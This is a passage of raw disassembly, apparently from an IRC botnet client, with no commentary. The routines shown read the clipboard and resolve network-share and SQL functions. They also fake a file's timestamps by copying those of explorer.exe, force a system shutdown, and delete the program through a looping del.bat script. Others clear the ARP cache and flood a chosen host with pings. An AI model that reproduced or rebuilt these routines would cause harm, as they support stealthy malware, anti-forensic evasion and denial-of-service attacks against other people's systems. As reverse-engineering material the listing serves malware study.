push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_405060
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; GetProcAddress
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_42D8F0, eax
call esi ; GetProcAddress
cmp dword_42D8F0, ebx
mov dword_42D8EC, eax
jz short loc_40506B
cmp eax, ebx
jnz short loc_405075
jmp short loc_40506B
; ---------------------------------------------------------------------------
loc_405060: ; CODE XREF: sub_4045F0+A46j
call dword_418044 ; RtlGetLastWin32Error
mov dword_42D97C, eax
loc_40506B: ; CODE XREF: sub_4045F0+A68j
; sub_4045F0+A6Ej
mov dword_42D978, 1
loc_405075: ; CODE XREF: sub_4045F0+A6Cj
push offset aMpr_dll ; "mpr.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4050D4
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; GetProcAddress
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_42D91C, eax
call esi ; GetProcAddress
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_42D914, eax
call esi ; GetProcAddress
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_42D8DC, eax
call esi ; GetProcAddress
cmp dword_42D91C, ebx
mov dword_42D7C8, eax
jz short loc_4050DF
cmp dword_42D914, ebx
jz short loc_4050DF
cmp dword_42D8DC, ebx
jz short loc_4050DF
cmp eax, ebx
jnz short loc_4050E9
jmp short loc_4050DF
; ---------------------------------------------------------------------------
loc_4050D4: ; CODE XREF: sub_4045F0+A90j
call dword_418044 ; RtlGetLastWin32Error
mov dword_42D984, eax
loc_4050DF: ; CODE XREF: sub_4045F0+ACCj
; sub_4045F0+AD4j ...
mov dword_42D980, 1
loc_4050E9: ; CODE XREF: sub_4045F0+AE0j
push offset aShell32_dll ; "shell32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_40511E
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; GetProcAddress
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_42D7F8, eax
call esi ; GetProcAddress
cmp dword_42D7F8, ebx
mov dword_42D8E8, eax
jz short loc_405129
cmp eax, ebx
jnz short loc_405133
jmp short loc_405129
; ---------------------------------------------------------------------------
loc_40511E: ; CODE XREF: sub_4045F0+B04j
call dword_418044 ; RtlGetLastWin32Error
mov dword_42D98C, eax
loc_405129: ; CODE XREF: sub_4045F0+B26j
; sub_4045F0+B2Cj
mov dword_42D988, 1
loc_405133: ; CODE XREF: sub_4045F0+B2Aj
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_4051BC
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; GetProcAddress
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_42D8B0, eax
call esi ; GetProcAddress
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_42D8FC, eax
call esi ; GetProcAddress
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_42D840, eax
call esi ; GetProcAddress
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_42D808, eax
call esi ; GetProcAddress
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_42D894, eax
call esi ; GetProcAddress
cmp dword_42D8B0, ebx
mov dword_42D810, eax
jz short loc_4051C7
cmp dword_42D8FC, ebx
jz short loc_4051C7
cmp dword_42D840, ebx
jz short loc_4051C7
cmp dword_42D808, ebx
jz short loc_4051C7
cmp dword_42D894, ebx
jz short loc_4051C7
cmp eax, ebx
jnz short loc_4051D1
jmp short loc_4051C7
; ---------------------------------------------------------------------------
loc_4051BC: ; CODE XREF: sub_4045F0+B4Ej
call dword_418044 ; RtlGetLastWin32Error
mov dword_42D994, eax
loc_4051C7: ; CODE XREF: sub_4045F0+BA4j
; sub_4045F0+BACj ...
mov dword_42D990, 1
loc_4051D1: ; CODE XREF: sub_4045F0+BC8j
pop edi
xor eax, eax
pop esi
pop ebp
inc eax
pop ebx
retn
sub_4045F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4051D9 proc near ; CODE XREF: sub_4077FD+8FCp
; sub_4077FD+927p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_405264
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_405264
cmp [ebp+arg_8], esi
jz short loc_405264
cmp byte ptr [eax], 0
jz short loc_405264
push ebx
push edi
call sub_4176F0
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_40525F
push [ebp+arg_4]
push edi
call sub_40E4B0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_405258
sub eax, edi
push eax
push edi
push ebx
call sub_40C720
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_40CBC0
push eax
push [ebp+arg_8]
push ebx
call sub_40C5A0
push [ebp+arg_4]
call sub_40CBC0
add eax, esi
push eax
push ebx
call sub_40E3D0
push ebx
push edi
call sub_40E3C0
add esp, 30h
mov esi, edi
loc_405258: ; CODE XREF: sub_4051D9+3Cj
push ebx
call sub_40CD81
pop ecx
loc_40525F: ; CODE XREF: sub_4051D9+2Bj
mov eax, esi
pop ebx
jmp short loc_405266
; ---------------------------------------------------------------------------
loc_405264: ; CODE XREF: sub_4051D9+Cj
; sub_4051D9+13j ...
xor eax, eax
loc_405266: ; CODE XREF: sub_4051D9+89j
pop edi
pop esi
pop ebp
retn
sub_4051D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40526A proc near ; CODE XREF: sub_407681+E9p
var_960 = dword ptr -960h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 960h
push ebx
push esi
push edi
xor ebx, ebx
push 960h
lea eax, [ebp+var_960]
push ebx
push eax
call sub_40CC40
mov esi, [ebp+arg_0]
push esi
call sub_40CBC0
xor edi, edi
add esp, 10h
inc edi
cmp eax, edi
jge short loc_4052A2
or eax, 0FFFFFFFFh
jmp short loc_405309
; ---------------------------------------------------------------------------
loc_4052A2: ; CODE XREF: sub_40526A+31j
xor ecx, ecx
cmp eax, ebx
mov [ebp+var_960], esi
jle short loc_4052C3
loc_4052AE: ; CODE XREF: sub_40526A+57j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_4052BB
cmp dl, 0Dh
jnz short loc_4052BE
loc_4052BB: ; CODE XREF: sub_40526A+4Aj
mov [ecx+esi], bl
loc_4052BE: ; CODE XREF: sub_40526A+4Fj
inc ecx
cmp ecx, eax
jl short loc_4052AE
loc_4052C3: ; CODE XREF: sub_40526A+42j
xor edx, edx
cmp eax, ebx
jle short loc_4052EB
loc_4052C9: ; CODE XREF: sub_40526A+7Fj
cmp [edx+esi], bl
jnz short loc_4052E6
lea ecx, [edx+esi+1]
cmp [ecx], bl
jz short loc_4052E6
cmp edi, 258h
jge short loc_4052EB
mov [ebp+edi*4+var_960], ecx
inc edi
loc_4052E6: ; CODE XREF: sub_40526A+62j
; sub_40526A+6Aj
inc edx
cmp edx, eax
jl short loc_4052C9
loc_4052EB: ; CODE XREF: sub_40526A+5Dj
; sub_40526A+72j
cmp [ebp+arg_4], ebx
jz short loc_405307
lea eax, [ebp+var_960]
push 960h
push eax
push [ebp+arg_4]
call near ptr sub_40C820
add esp, 0Ch
loc_405307: ; CODE XREF: sub_40526A+84j
mov eax, edi
loc_405309: ; CODE XREF: sub_40526A+36j
pop edi
pop esi
pop ebx
leave
retn
sub_40526A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40530E proc near ; CODE XREF: sub_4077FD+23A2p
; sub_4077FD+2B26p
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call dword_418044 ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call dword_418098 ; FormatMessageA
lea eax, [ebp+var_100]
loc_405347: ; CODE XREF: sub_40530E+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_405353
cmp cl, 9
jnz short loc_405356
loc_405353: ; CODE XREF: sub_40530E+3Ej
inc eax
jmp short loc_405347
; ---------------------------------------------------------------------------
loc_405356: ; CODE XREF: sub_40530E+43j
; sub_40530E+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_405370
mov cl, [eax]
cmp cl, 2Eh
jz short loc_405356
cmp cl, 21h
jl short loc_405356
loc_405370: ; CODE XREF: sub_40530E+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_42D9A0
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_40D3F7
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40530E endp
; =============== S U B R O U T I N E =======================================
sub_405398 proc near ; CODE XREF: sub_4077FD+32DCp
push esi
push 0
call dword_42D848 ; OpenClipboard
test eax, eax
jz short loc_4053CF
push 1
call dword_42D868 ; GetClipboardData
mov esi, eax
test esi, esi
jz short loc_4053CF
push edi
push esi
call dword_4180A0 ; GlobalLock
push esi
mov edi, eax
call dword_41809C ; GlobalUnlock
call dword_42D8C8 ; CloseClipboard
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4053CF: ; CODE XREF: sub_405398+Bj
; sub_405398+19j
xor eax, eax
pop esi
retn
sub_405398 endp
; =============== S U B R O U T I N E =======================================
sub_4053D3 proc near ; CODE XREF: sub_4077FD+2AB3p
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc ; "mIRC"
push esi
push edi
call dword_42D884 ; FindWindowA
mov ebp, eax
cmp ebp, esi
jz short loc_40544F
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call dword_4180AC ; CreateFileMappingA
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call dword_4180A8 ; MapViewOfFile
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_40C6C3
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_42D8D0 ; SendMessageA
push esi
push 1
push 4C9h
push ebp
call dword_42D8D0 ; SendMessageA
push ebx
call dword_4180A4 ; UnmapViewOfFile
push edi
call dword_41807C ; CloseHandle
xor eax, eax
pop ebx
inc eax
jmp short loc_405451
; ---------------------------------------------------------------------------
loc_40544F: ; CODE XREF: sub_4053D3+16j
xor eax, eax
loc_405451: ; CODE XREF: sub_4053D3+7Aj
pop edi
pop esi
pop ebp
retn
sub_4053D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405455 proc near ; CODE XREF: sub_407041+20Fp
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_42D92C ; SearchPathA
test eax, eax
jz short loc_4054F4
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_418084
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi ; CreateFileA
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_4054F4
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
call dword_4180B4 ; GetFileTime
push ebx
mov ebx, dword_41807C
call ebx ; CloseHandle
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi ; CreateFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4054F4
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call dword_4180B0 ; SetFileTime
push esi
call ebx ; CloseHandle
loc_4054F4: ; CODE XREF: sub_405455+2Aj
; sub_405455+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_405455 endp
; =============== S U B R O U T I N E =======================================
sub_4054F9 proc near ; CODE XREF: sub_4077FD+EF1p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_405D28
pop ecx
pop ecx
push 50005h
push 6
call dword_42D7D0 ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_4054F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40551B proc near ; CODE XREF: sub_4032EE+45Fp
; sub_4077FD+34F2p
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_41DE4C, esi
push edi
jz short loc_40553F
cmp dword_42D940, esi
jnz short loc_40553F
push esi
call sub_4031BC
pop ecx
loc_40553F: ; CODE XREF: sub_40551B+13j
; sub_40551B+1Bj
call sub_40C225
lea eax, [ebp+var_764]
push eax
push 400h
call dword_4180C4 ; GetTempPathA
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_40C6C3
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call dword_418084 ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_40569F
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_40C6C3
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_40CBC0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call dword_418080 ; WriteFile
push edi
call dword_41807C ; CloseHandle
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_40CC40
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_40CC40
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_4242F0
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call dword_418094 ; GetModuleHandleA
push eax
call dword_41804C ; GetModuleFileNameA
lea eax, [ebp+var_15C]
push eax
call dword_4180C0 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_405647
lea eax, [ebp+var_15C]
push 80h
push eax
call dword_4180BC ; SetFileAttributesA
loc_405647: ; CODE XREF: sub_40551B+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_40C6C3
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
call dword_4180B8 ; ExpandEnvironmentStringsA
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
call dword_418078 ; CreateProcessA
loc_40569F: ; CODE XREF: sub_40551B+72j
pop edi
pop esi
leave
retn
sub_40551B endp
; =============== S U B R O U T I N E =======================================
sub_4056A3 proc near ; CODE XREF: sub_4069FF+247p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_4056B0
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4056B0: ; CODE XREF: sub_4056A3+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_4180C8
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; WideCharToMultiByte
test byte_42E068, 1
mov ebp, eax
jnz short loc_4056ED
or byte_42E068, 1
lea eax, [ebp+1]
push eax
call sub_40D795
pop ecx
mov dword_42DE00, eax
loc_4056ED: ; CODE XREF: sub_4056A3+32j
push esi
push esi
push ebp
push dword_42DE00
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, dword_42DE00
pop edi
pop ebp
pop ebx
pop esi
retn
sub_4056A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40570A proc near ; CODE XREF: sub_406D25+18Ep
; sub_406D25+25Bp
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_405775
push [ebp+arg_4]
mov edi, eax
call sub_405775
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_40E610
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_405775
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_42D788
pop edi
leave
retn
sub_40570A endp
; =============== S U B R O U T I N E =======================================
sub_405775 proc near ; CODE XREF: sub_40570A+Ap
; sub_40570A+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_405782
pop ebp
retn
; ---------------------------------------------------------------------------
loc_405782: ; CODE XREF: sub_405775+9j
push ebx
push esi
mov esi, dword_4180CC
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_40D795
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_405775 endp
; =============== S U B R O U T I N E =======================================
sub_4057B6 proc near ; CODE XREF: sub_4069FF+1BCp
; sub_4069FF+24Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_405775
push [esp+8+arg_4]
mov esi, eax
call sub_405775
pop ecx
pop ecx
push 0
push eax
push esi
call dword_42D764
pop esi
retn
sub_4057B6 endp
; =============== S U B R O U T I N E =======================================
sub_4057D9 proc near ; CODE XREF: sub_403CA3+83p
; sub_40752C+4Fp ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_42D8B4 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_405801
push [esp+arg_0]
call dword_42D8F8 ; gethostbyname
test eax, eax
jnz short loc_4057FA
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_4057FA: ; CODE XREF: sub_4057D9+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_405801: ; CODE XREF: sub_4057D9+Dj
retn
sub_4057D9 endp
; =============== S U B R O U T I N E =======================================
sub_405802 proc near ; CODE XREF: sub_40752C+D6p
mov ecx, dword_42D7B0
xor eax, eax
test ecx, ecx
jz short locret_405810
jmp ecx
; ---------------------------------------------------------------------------
locret_405810: ; CODE XREF: sub_405802+Aj
retn
sub_405802 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405811 proc near ; CODE XREF: sub_4077FD:loc_40AA8Bp
var_C8 = byte ptr -0C8h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0C8h
push ebx
xor ebx, ebx
push esi
inc ebx
push edi
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_42D8F0 ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz short loc_405898
sub ecx, 32h
jz loc_4058D5
sub ecx, 48h
jz short loc_40586D
sub ecx, 6Eh
jz short loc_405866
loc_40584F: ; CODE XREF: sub_405811+85j
push eax
lea eax, [ebp+var_C8]
push offset aFlushdnsErrorG ; "[FLUSHDNS]: Error getting ARP cache: <%"...
push eax
call sub_40C6C3
add esp, 0Ch
jmp short loc_4058C3
; ---------------------------------------------------------------------------
loc_405866: ; CODE XREF: sub_405811+3Cj
push offset aFlushdnsArpCac ; "[FLUSHDNS]: ARP cache is empty."
jmp short loc_4058B5
; ---------------------------------------------------------------------------
loc_40586D: ; CODE XREF: sub_405811+37j
push [ebp+var_8]
call sub_40CCCF
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_40CC40
add esp, 10h
cmp esi, edi
jz short loc_4058B0
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_42D8F0 ; GetIpNetTable
cmp eax, edi
jnz short loc_40584F
loc_405898: ; CODE XREF: sub_405811+29j
cmp [esi], edi
jbe short loc_4058CD
lea ebx, [esi+4]
loc_40589F: ; CODE XREF: sub_405811+9Bj
push ebx
call dword_42D8EC ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40589F
jmp short loc_4058CD
; ---------------------------------------------------------------------------
loc_4058B0: ; CODE XREF: sub_405811+75j
push offset aFlushdnsUnable ; "[FLUSHDNS]: Unable to allocation ARP ca"...
loc_4058B5: ; CODE XREF: sub_405811+5Aj
; sub_405811+C9j
lea eax, [ebp+var_C8]
push eax
call sub_40C6C3
pop ecx
pop ecx
loc_4058C3: ; CODE XREF: sub_405811+53j
push esi
mov [ebp+var_4], edi
call sub_40CD81
pop ecx
loc_4058CD: ; CODE XREF: sub_405811+89j
; sub_405811+9Dj
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4058D5: ; CODE XREF: sub_405811+2Ej
push offset aFlushdnsNotSup ; "[FLUSHDNS]: Not supported by this syste"...
jmp short loc_4058B5
sub_405811 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4058DC proc near ; CODE XREF: sub_4023B8+50p
; sub_402E09+89p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_40CC40
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_42D820 ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_42E470
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_40C6C3
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_4058DC endp
; =============== S U B R O U T I N E =======================================
sub_405935 proc near ; CODE XREF: sub_40B3F5+1C8p
; sub_40B3F5+20Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
xor edx, edx
cmp ecx, 1
push esi
jle short loc_405960
lea eax, [ecx-2]
push edi
shr eax, 1
inc eax
mov esi, eax
neg esi
lea ecx, [ecx+esi*2]
mov esi, [esp+8+arg_0]
loc_405953: ; CODE XREF: sub_405935+26j
movzx edi, word ptr [esi]
add edx, edi
inc esi
inc esi
dec eax
jnz short loc_405953
pop edi
jmp short loc_405964
; ---------------------------------------------------------------------------
loc_405960: ; CODE XREF: sub_405935+Aj
mov esi, [esp+4+arg_0]
loc_405964: ; CODE XREF: sub_405935+29j
test ecx, ecx
jz short loc_40596D
movzx eax, byte ptr [esi]
add edx, eax
loc_40596D: ; CODE XREF: sub_405935+31j
mov ecx, edx
and edx, 0FFFFh
shr ecx, 10h
add ecx, edx
pop esi
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_405935 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405985 proc near ; DATA XREF: sub_4077FD+1A19o
var_10320 = byte ptr -10320h
var_344 = byte ptr -344h
var_144 = dword ptr -144h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call sub_40CCA0
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
xor edi, edi
inc edi
mov [eax+120h], edi
call dword_42D80C ; IcmpCreateFile
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call dword_42D8B4 ; inet_addr
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_4059E0
lea eax, [ebp+var_C0]
push eax
call dword_42D8F8 ; gethostbyname
cmp eax, ebx
jz short loc_4059E6
loc_4059E0: ; CODE XREF: sub_405985+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_405A43
loc_4059E6: ; CODE XREF: sub_405985+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset aPingErrorSendi ; "[PING]: Error sending pings to %s."
push eax
call sub_40C6C3
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_405A26
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_404555
add esp, 14h
loc_405A26: ; CODE XREF: sub_405985+7Fj
lea eax, [ebp+var_344]
push eax
call sub_403145
push [ebp+var_30]
call sub_40C378
pop ecx
pop ecx
push edi
call dword_418050 ; ExitThread
loc_405A43: ; CODE XREF: sub_405985+5Fj
cmp eax, ebx
jz short loc_405A53
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_405A56
; ---------------------------------------------------------------------------
loc_405A53: ; CODE XREF: sub_405985+C0j
mov [ebp+var_4], esi
loc_405A56: ; CODE XREF: sub_405985+CCj
push 1Ch
lea eax, [ebp+var_20]
push ebx
push eax
call sub_40CC40
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_405A76
mov [ebp+var_3C], eax
loc_405A76: ; CODE XREF: sub_405985+ECj
cmp [ebp+var_38], edi
jge short loc_405A7E
mov [ebp+var_38], edi
loc_405A7E: ; CODE XREF: sub_405985+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_405AAB
loc_405A85: ; CODE XREF: sub_405985+124j
push [ebp+var_38]
lea eax, [ebp+var_20]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call dword_42D7AC ; IcmpSendEcho
inc esi
cmp esi, [ebp+var_40]
jl short loc_405A85
loc_405AAB: ; CODE XREF: sub_405985+FEj
push [ebp+arg_0]
call dword_42D928 ; IcmpCloseHandle
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_344]
push offset aPingFinishedSe ; "[PING]: Finished sending pings to %s."
push eax
call sub_40C6C3
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_405AF4
push ebx
lea eax, [ebp+var_344]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_140]
push eax
push [ebp+var_144]
call sub_404555
add esp, 14h
loc_405AF4: ; CODE XREF: sub_405985+14Dj
lea eax, [ebp+var_344]
push eax
call sub_403145
push [ebp+var_30]
call sub_40C378
pop ecx
pop ecx
push ebx
call dword_418050 ; ExitThread
sub_405985 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405B11 proc near ; DATA XREF: sub_4077FD+1B6Eo
var_10312 = byte ptr -10312h
var_10310 = byte ptr -10310h
var_334 = byte ptr -334h
var_134 = dword ptr -134h
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10310h
call sub_40CCA0
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_134]
rep movsd
xor esi, esi
inc esi
mov [eax+120h], esi
call dword_41805C ; GetTickCount
push eax
